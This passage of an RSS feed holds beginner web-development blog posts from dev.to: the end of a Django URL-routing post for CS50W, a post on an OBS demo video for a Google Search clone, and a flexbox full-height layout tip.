&lt;/span&gt;    &lt;span class="nf"&gt;path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wiki/&amp;lt;str:title&amp;gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;views&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;topic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;topic&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="c1"&gt;# ...
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2️⃣ Second Specification &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;The second specification is much more straight forward, &lt;a href="https://docs.djangoproject.com/en/3.0/topics/http/urls/#examples" rel="noopener noreferrer"&gt;this documentation example&lt;/a&gt; in Django shows how to create an anchor link in HTML that automatically uses the &lt;code&gt;topic&lt;/code&gt; route we specified in &lt;code&gt;urls.py&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Showing the example from the documentation for better illustration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.urls&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;.&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;views&lt;/span&gt;

&lt;span class="n"&gt;urlpatterns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="c1"&gt;#...
&lt;/span&gt;    &lt;span class="nf"&gt;path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;articles/&amp;lt;int:year&amp;gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;views&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;year_archive&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;news-year-archive&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="c1"&gt;#...
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the HTML template code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"{% url 'news-year-archive' 2012 %}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;2012 Archive&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
{# Or with the year in a template context variable: #}
&lt;span class="nt"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
{% for yearvar in year_list %}
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"{% url 'news-year-archive' yearvar %}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;{{ yearvar }} Archive&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
{% endfor %}
&lt;span class="nt"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's all for this post! It's more lengthy this time as I thought of sharing in more details of what I had learnt. Hopefully it's helpful and feel free to discuss any improvements or how easy this can be achieved using any other languages 😉 &lt;/p&gt;

</description>
      <category>django</category>
      <category>cs50w</category>
      <category>webdev</category>
      <category>backend</category>
    </item>
    <item>
      <title>Project0 #3 - Recording Explainer Video using OBS</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Sun, 24 Jan 2021 09:20:46 +0000</pubDate>
      <link>https://dev.to/middleclassdev/project0-3-recording-explainer-video-using-obs-40pl</link>
      <guid>https://dev.to/middleclassdev/project0-3-recording-explainer-video-using-obs-40pl</guid>
      <description>&lt;p&gt;Project0 completed! I am happy with the learning process despite spenting more time than expected on basic html and css.&lt;/p&gt;

&lt;p&gt;I tried my best to make the 3 Google Search pages as similar to the actual pages as possible as shown in the video below. Most of them are not the requirements of this assignment - the aim is to get the most learning out of it. &lt;/p&gt;

&lt;p&gt;Even the process of creating a demo video is not a hassle cause I am able to practice communicating features of a 'product'. Shall end this post with the demo video =)&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/ZEFz0U4lgJM"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>cs50</category>
      <category>html</category>
      <category>css</category>
    </item>
    <item>
      <title>Project0 #2 - Grow to Full Height Using Flexbox</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Sun, 17 Jan 2021 15:27:07 +0000</pubDate>
      <link>https://dev.to/middleclassdev/project0-2-grow-to-full-height-using-flexbox-36b8</link>
      <guid>https://dev.to/middleclassdev/project0-2-grow-to-full-height-using-flexbox-36b8</guid>
      <description>&lt;h3&gt;
  
  
  Full Height Grow Explanation
&lt;/h3&gt;

&lt;p&gt;From previous post of this series, I was looking for a way to grow the content to full height without having to perform any calculation of subtracting the height of the other elements.&lt;/p&gt;

&lt;p&gt;The cover image shows one method of doing it by using flexbox, specifically the &lt;code&gt;flex-grow&lt;/code&gt; attribute. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The header section represents any top navigation bar or title&lt;/li&gt;
&lt;li&gt;The content section represents the area that we wish to grow to the remaining height of body.&lt;/li&gt;
&lt;li&gt;The footer section represents... the footer 😜&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Feel free to playaround with the example in the code snippet below:&lt;/p&gt;


&lt;div class="ltag__replit"&gt;
  &lt;iframe height="550px" src="https://repl.it/@wizlee/FullHeightGrow?lite=true"&gt;&lt;/iframe&gt;
&lt;/div&gt;





&lt;h3&gt;
  
  
  Project0 Progress
&lt;/h3&gt;

&lt;p&gt;The main search page is done! 🎉 Now left the image and the advanced search pages. Prior to doing this exercise I will be underestimating the work needed to exactly replicate google search main page, but after this exercise I have more appreciation for the work needed. &lt;/p&gt;

&lt;p&gt;Even though the web development work so far are very basic, I am satisfied with what I have learnt and done. The GIF below shows the actual google search page VS what I had done =)&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F8820jd6qmd5blbsykjhq.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F8820jd6qmd5blbsykjhq.gif" alt="Alt Text" width="800" height="469"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>cs50</category>
      <category>html</category>
      <category>css</category>
    </item>
  </channel>
</rss>
